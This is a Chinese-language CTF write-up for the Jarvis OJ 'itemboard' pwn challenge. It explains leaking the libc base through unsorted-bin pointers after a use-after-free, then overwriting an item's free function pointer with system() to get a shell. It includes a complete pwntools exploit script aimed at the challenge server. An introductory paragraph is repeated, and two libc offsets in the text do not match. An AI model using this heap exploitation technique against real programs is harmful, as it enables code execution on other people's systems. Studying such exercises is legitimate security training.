linux中使用free()进行内存释放时,不大于 max_fast (默认值为 64B)的 chunk 被释放后,首先会被放到 fast bins中,大于max_fast的chunk或者fast bins 中的空闲 chunk 合并后会被放入unsorted bin中(参考glibc内存管理ptmalloc源码分析一文)
而在fastbin为空时,unsortbin的fd和bk指向自身main_arena中,该地址的相对偏移值存放在libc.so中,可以通过use after free后打印出main_arena的实际地址,结合偏移值从而得到libc的加载地址。
Jarvis OJ一道pwn题itemboard作为一个栗子。
新建item:
其中strcpy(item->description,buf)的时候存在一个栈溢出,可以实现任意地址写。
删除item:
查看set_null()实际上一个空函数,这里free之后没有把指针置空,可以通过uaf利用。
gdb-peda的checksec查了只有NX,但是实际调试发现有PIE。
0x01 泄露libc基址
linux中使用free()进行内存释放时,不大于 max_fast (默认值为 64B)的 chunk 被释放后,首先会被放到 fast bins中,大于max_fast的chunk或者fast bins 中的空闲 chunk 合并后会被放入unsorted bin中(参考glibc内存管理ptmalloc源码分析一文)
而在fastbin为空时,unsortbin的fd和bk指向自身main_arena中,该地址的相对偏移值存放在libc.so中,可以通过use after free后打印出main_arena的实际地址,结合偏移值从而得到libc的加载地址。
max_fast的默认值是64Bytes,调试里发现global_max_fast的值是0x80,也就是说先malloc一个0x80的内存
malloc返回给用户的地址实际上是mem指向的位置
接着free()释放
其中用户输入的数据被写上了fd和bk,都指向main_arena中的位置。
由于free后未把指针置零,我们仍然可以选择show_item功能打印description位置的数据,此时将打印出指向main_arena中的指针:
main_arena的基址存放在libc中的malloc_trim()函数中:
该libc的main_arena偏移位0x397b00,从而计算得到libc基址。
0x02 cat flag
接着利用uaf可以覆盖item->name,item->description和item->free,把item->free覆盖为system的地址,“/bin/sh”可以直接放在item起始位置,结尾处用“;”隔断,中间的description随意填充。
from pwn import *
p=remote('pwn2.jarvisoj.com',9887)
e=ELF('./libc-2.19.so')
def add(name,length,descript):
p.recvuntil('choose:')
p.sendline('1')
p.recvuntil('Item name?')
p.sendline(name)
p.recvuntil("Description's len?")
p.sendline(str(length))
p.recvuntil('Description?')
p.sendline(descript)
p.recvuntil('Add Item Successfully!')
def showitem(index):
p.recvuntil('choose:')
p.sendline('3')
p.recvuntil('Which item?')
p.sendline(str(index))
def remove(index):
p.recvuntil('choose:')
p.sendline('4')
p.recvuntil('Which item?')
p.sendline(str(index))
add('A'*30,0x80,'A'*8)
add('B'*30,0x80,'A'*8)
remove(0)
showitem(0)
p.recvuntil('Description:')
arena_addr=u64(p.recv(6).ljust(8,'\x00'))-88
libc_base=arena_addr-0x3be760
system_addr=libc_base+e.symbols['system']
print 'system address: ',hex(system_addr)
remove(1)
add('C'*30,32,'CCCC')
add('D'*30,32,'DDDD')
remove(2)
remove(3)
add('EEEE',24,'/bin/sh;'+'EEEEEEEE'+p64(system_addr))
remove(2)
p.interactive()